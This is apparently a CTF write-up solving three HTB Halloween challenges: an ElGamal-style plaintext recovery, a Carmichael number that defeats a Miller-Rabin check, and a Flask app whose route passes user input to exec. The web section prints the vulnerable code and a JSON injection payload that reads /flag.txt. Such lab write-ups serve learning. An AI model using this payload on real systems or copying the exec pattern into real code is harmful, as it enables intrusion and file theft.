Another great CTF from HTB, this time it started at midnight for me with fresh new challenges each midnight for 5 nights. All the challenges seemed to be of quite high quality and had me thinking hard about the solutions.
This is my solution to the first two crypto challenges and the first web challenge.
Gonna-Lift-Em-All - Crypto - 275 points
This challenge reads:
Quick, there's a new custom Pokemon in the bush called "The Custom Pokemon". Can
you find out what its weakness is and capture it?
The challenge comes with one data.txt file and one python script file called chall.py which contains the code as follows:
from Crypto.Util.number import bytes_to_long, getPrime
import random
FLAG = b'HTB{??????????????????????????????????????????????????????????????????????}'
def gen_params():
p = getPrime(1024)
g = random.randint(2, p-2)
x = random.randint(2, p-2)
h = pow(g, x, p)
return (p, g, h), x
def encrypt(pubkey):
p, g, h = pubkey
m = bytes_to_long(FLAG)
y = random.randint(2, p-2)
s = pow(h, y, p)
return (g * y % p, m * s % p)
def main():
pubkey, privkey = gen_params()
c1, c2 = encrypt(pubkey)
with open('data.txt', 'w') as f:
f.write(f'p = {pubkey[0]}\ng = {pubkey[1]}\nh = {pubkey[2]}\n(c1, c2) = ({c1}, {c2})\n')
if __name__ == "__main__":
main()
In the data.txt file we have the pubkey parameters p, g, h, and the ciphertext c1, c2
p = 163096280281091423983210248406915712517889481034858950909290409636473708049935881617682030048346215988640991054059665720267702269812372029514413149200077540372286640767440712609200928109053348791072129620291461211782445376287196340880230151621619967077864403170491990385250500736122995129377670743204192511487
g = 90013867415033815546788865683138787340981114779795027049849106735163065530238112558925433950669257882773719245540328122774485318132233380232659378189294454934415433502907419484904868579770055146403383222584313613545633012035801235443658074554570316320175379613006002500159040573384221472749392328180810282909
h = 36126929766421201592898598390796462047092189488294899467611358820068759559145016809953567417997852926385712060056759236355651329519671229503584054092862591820977252929713375230785797177168714290835111838057125364932429350418633983021165325131930984126892231131770259051468531005183584452954169653119524751729
(c1, c2) = (159888401067473505158228981260048538206997685715926404215585294103028971525122709370069002987651820789915955483297339998284909198539884370216675928669717336010990834572641551913464452325312178797916891874885912285079465823124506696494765212303264868663818171793272450116611177713890102083844049242593904824396, 119922107693874734193003422004373653093552019951764644568950336416836757753914623024010126542723403161511430245803749782677240741425557896253881748212849840746908130439957915793292025688133503007044034712413879714604088691748282035315237472061427142978538459398404960344186573668737856258157623070654311038584)
So overall it seems like our encryption algorithm here takes some public key values, creates two ciphertext components which use modular arithmetic to “disguise” the private key components and plaintext. They do this using multiplication though so that is where I think we can attack this.
First I write down what we need to solve for and what we know:
Solve these
c1 = g * y % pc2 = m * s % p
We know these already
c1c2gp
We need to find
ysm
Linear Congruences
The first thing to know here is that the c1 and c2 equations described above are what are known as linear congruences and are what you might see in math textbooks like this:
17x ≅ 3 (mod 29)
If we rewrite our equations like this it makes it easier to digest perhaps:
gy ≅ c1 (mod p)
Tip: I used this youtube video to clarify how to solve this challenge as it was really clear, so thanks to Jay from Maths with Jay :)
Part 1: Recover y
In order to find this y we can start by using the extended Euclidean algorithm to find the multiplicative inverse modulus of g mod p, that is, some number vwhere:
gv ≅ 1 (mod p)
In python this is straightforward and we cans skip a few steps:
>>> from Crypto.Util.number import inverse
>>> v = inverse(g, p)
>>> v
120027004247158358184703385511138910446176598283657810928960020555251889532032199706156913358525135228299658796007082082987316875751452608872617761586138905964991747541264336966530405406630206297358091931611374901221899003603216345652222991753618659380928999922962044386202238694636990131574221328099007640482
Now we know this number v we can calculate y as it should be:
y ≅ c1v (mod p)
>>> y = c1 * v % p
>>> y
151545036818752418931716093171030939827729309717327611184964755063685533596024474465903219353892430936128129116061427826165388249908655823309049171719865481058072839169911183783187254412879190149192386989186799988830028288993778261809217410313001568877314905167838867719115514855795015291428405597461040625720
We can double check that we got the right answer here by checking that we get c1 when we plug our y back into the original equation c1 = g * y % p.
>>> check = g * y % p
>>> check == c1
True
Yep this checked out, nice!
Part 2: Recover S
Now we know y we can recover s as the algorithm is in the chall.py file:
>>> s = pow(h,y,p)
>>> s
97462626764574972789405707853736776801131892662685049788888445937335307309802916804770978800211152464507610133907443690200443337122554845143013035673411159832257337734583042568923321169807909583339712803034130755892624097871888129173372595909172265258031320357247928751965375753164262717332601963215413213638
Part 3: Recover m
This part is very much a repeat of Part 1 since we recovered y in order to recover s in parts 1 and 2. We have pretty much the same equation: c2 = m * s % p
To make this simpler to visualize, it helps to flip m and s around: c2 = s * m % p which, written differently, you see is the same thing as part 1:
sm ≅ c2 (mod p)
So, as we did in part 1, we find some number v where:
sv ≅ 1 (mod p)
In python this is straightforward and we cans skip a few steps:
>>> from Crypto.Util.number import inverse
>>> v = inverse(s, p)
>>> v
31346328967915532437069190021834034870416234511102747411963727347528808773951209443402276830477716072945708394322703296371784510296678805269713052825970582951827590069078060945380207673640183443015571912058129616320846896831349884362934154099966370303518207509550815372317213136611174672595234824291719313740
Now we know this number v we can calculate m as it should be:
m ≅ c2v (mod p)
>>> m = c2 * v % p
>>> m
1172386289712688621866206342757024282557431573799768202628558217825308016488998421960879829861191968014842977524818155697111668467803322833848788605649390583219898324267188549415037
Which is the flag:
>>> from Crypto.Util.number import long_to_bytes
>>> long_to_bytes(m)
b'HTB{b3_c4r3ful_wh3n_1mpl3m3n71n6_cryp705y573m5_1n_7h3_mul71pl1c471v3_6r0up}'
Fast Carmichael - Crypto - 200 points
For this, the second crypto challenge we received a server.py script which was running on the CTF infrastructure. The script looks like this:
from secret import FLAG
from Crypto.Util.number import isPrime
import socketserver
import signal
class Handler(socketserver.BaseRequestHandler):
def handle(self):
signal.alarm(0)
main(self.request)
class ReusableTCPServer(socketserver.ForkingMixIn, socketserver.TCPServer):
pass
def sendMessage(s, msg):
s.send(msg.encode())
def receiveMessage(s, msg):
sendMessage(s, msg)
return s.recv(4096).decode().strip()
def generate_basis(n):
basis = [True] * n
for i in range(3, int(n**0.5) + 1, 2):
if basis[i]:
basis[i * i::2 * i] = [False] * ((n - i * i - 1) // (2 * i) + 1)
return [2] + [i for i in range(3, n, 2) if basis[i]]
def millerRabin(n, b):
basis = generate_basis(300)
if n == 2 or n == 3:
return True
if n % 2 == 0:
return False
r, s = 0, n - 1
while s % 2 == 0:
r += 1
s //= 2
for b in basis:
x = pow(b, s, n)
if x == 1 or x == n - 1:
continue
for _ in range(r - 1):
x = pow(x, 2, n)
if x == n - 1:
break
else:
return False
return True
def _isPrime(p):
if p < 1:
return False
if (p.bit_length() <= 600) and (p.bit_length() > 1500):
return False
if not millerRabin(p, 300):
return False
return True
def main(s):
p = receiveMessage(s, "Give p: ")
try:
p = int(p)
except:
sendMessage(s, "Error!")
if _isPrime(p) and not isPrime(p):
sendMessage(s, FLAG)
else:
sendMessage(s, "Conditions not satisfied!")
if __name__ == '__main__':
socketserver.TCPServer.allow_reuse_address = True
server = ReusableTCPServer(("0.0.0.0", 1337), Handler)
server.serve_forever()
So to summarise what I see here is, for each incoming connection we ask the user to send us a prime number. We then check if the number passes a Miller Rabin primality test but fails the Python PyCryptodome primality test.
So a number that is prime, but also not prime? Where do we find those? As it turns out the Miller Rabin primality test is a probabilistic test. That is, it can mistakenly conclude a number is prime under certain conditions. The PyCryptodome test includes the same test but also uses other tests before concluding if a number is prime.
Before researching too far I quickly found a Github repo containing code very similar to the server.py above. In fact it’s a direct duplicate of the code but for a bases value of just 64. It leads me to an interesting paper called Prime and Prejudice: Primality Testing Under Adversarial Conditions. After reading this paper I’m a little closer to figuring this out.
The first thing I tried is the code from the aformentioned repo but with bases set to 300 it never starts computing. I guess it probably would given enough time but I am way too impatient.
I go back to Googling and come across this blog article. It mentions another paper in passing like this:
Though the second number N is very striking, the author of [3] has an even
larger example in [2], a 397-digit Carmichael number that is a strong
pseudoprime to all the 62 prime bases under 300!
Wow that sounds perfect for us, the paper referenced is “Constructing Carmichael numbers which are strong pseudoprimes to several bases” and in the paper it has the following passage:
4.4 LARGE EXAMPLE
The same method has been used with a large set of bases in order to construct the 397-digit
Carmichael number:
n = p1 (313(p1 - 1) + 1)(353(p1 - 1) + 1)
where
p1 = 29674495668685510550154174642905332730771991799853043350995075531276838753171770199594238596428121188033664754218345562493168782883
which is a strong pseudoprime to all prime bases up to 300.
Translating that paper into some quick Python we get our number, and flag:
$ cat > win.py
p = 29674495668685510550154174642905332730771991799853043350995075531276838753171770199594238596428121188033664754218345562493168782883
n = p *(313*(p - 1) + 1)*(353 * (p - 1) + 1)
print(n)
^D
$ python ./win.py
2887148238050771212671429597130393991977609459279722700926516024197432303799152733116328983144639225941977803110929349655578418949441740933805615113979999421542416933972905423711002751042080134966731755152859226962916775325475044445856101949404200039904432116776619949629539250452698719329070373564032273701278453899126120309244841494728976885406024976768122077071687938121709811322297802059565867
$ nc 134.122.106.203 32579
Give p: 2887148238050771212671429597130393991977609459279722700926516024197432303799152733116328983144639225941977803110929349655578418949441740933805615113979999421542416933972905423711002751042080134966731755152859226962916775325475044445856101949404200039904432116776619949629539250452698719329070373564032273701278453899126120309244841494728976885406024976768122077071687938121709811322297802059565867
HTB{c42m1ch431_num8325_423_fun_p53ud0p21m35}
Interesting challenge!
Evaluation Deck - Web - 200 points
This challenge reads:
A powerful demon has sent one of his ghost generals into our world to ruin
the fun of Halloween. The ghost can only be defeated by luck. Are you lucky
enough to draw the right cards to defeat him and save this Halloween?
The challenge comes with all of the web application files and a Dockerfile so you can launch the environment locally and test out ideas. Its a Flask application with a few Python source files.
It took me a bit to find the vulnerability but when I did it didn’t prove too difficult to exploit. Here’s the code containing main issue which is in the routes.py:
from flask import Blueprint, render_template, request
from application.util import response
web = Blueprint('web', __name__)
api = Blueprint('api', __name__)
@web.route('/')
def index():
return render_template('index.html')
@api.route('/get_health', methods=['POST'])
def count():
if not request.is_json:
return response('Invalid JSON!'), 400
data = request.get_json()
current_health = data.get('current_health')
attack_power = data.get('attack_power')
operator = data.get('operator')
if not current_health or not attack_power or not operator:
return response('All fields are required!'), 400
result = {}
try:
code = compile(f'result = {int(current_health)} {operator} {int(attack_power)}', '<string>', 'exec')
exec(code, result)
return response(result.get('result'))
except:
return response('Something Went Wrong!'), 500
Specifically this code section:
result = {}
try:
code = compile(f'result = {int(current_health)} {operator} {int(attack_power)}', '<string>', 'exec')
exec(code, result)
return response(result.get('result'))
except:
return response('Something Went Wrong!'), 500
What this is doing, is taking three values from a JSON POST request supplied by the user and building a string, which it then compile()s into a Python object which it then executes.
If we look at the user API requests while using the web app, the user provides this request:
POST /api/get_health HTTP/1.1
Host: 157.245.42.104:31408
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://157.245.42.104:31408/
Content-Type: application/json
Origin: http://157.245.42.104:31408
Content-Length: 59
Connection: close
{"current_health":"100","attack_power":"22","operator":"+"}
And receives this response:
HTTP/1.1 200 OK
Server: Werkzeug/2.2.2 Python/3.8.15
Date: Sat, 22 Oct 2022 13:35:44 GMT
Content-Type: application/json
Content-Length: 16
Connection: close
{"message":122}
Clearly we see that the web app took our current_health, attack_power and operator and returned that as an integer result. i.e. 100 + 22 returned 122.
Exploitation
Referring back to the specific line that’s vulnerable, its clear we want to inject some python code. Second we know we must target the operator field since the other two fields are cast with int().
Finally we also know that we only receive an integer response so whatever solution needs to leak the flag as an integer. So here’s the idea I came up with:
- Open
/flag.txt, read it as bytes. - Use the built in Python3
int.from_bytes()method to return the big endian integer version of the string. - Set “
current_health” to0 - Convert the received “
message” integer back to a string for the flag.
JSON Payload
Here’s what I sent as the request, being careful to put a semicolon after our operator payload to prevent syntax error from the attack_power which the server will append to our operation:
{
"current_health":"0",
"attack_power":"43",
"operator":"+int.from_bytes(open('/flag.txt','rb').read(),'big');"
}
HTTP/1.1 200 OK
Server: Werkzeug/2.2.2 Python/3.8.15
Date: Sun, 23 Oct 2022 06:34:31 GMT
Content-Type: application/json
Content-Length: 90
Connection: close
{"message":32715399093214716429448760121842372818350028882199757926917881424671737454973}
And in Python, we can convert this back to a string
>>> from Crypto.Util.number import long_to_bytes
>>> long_to_bytes(32715399093214716429448760121842372818350028882199757926917881424671737454973)
b'HTB{c0d3_1nj3ct10ns_4r3_Gr3at!!}'
Nice!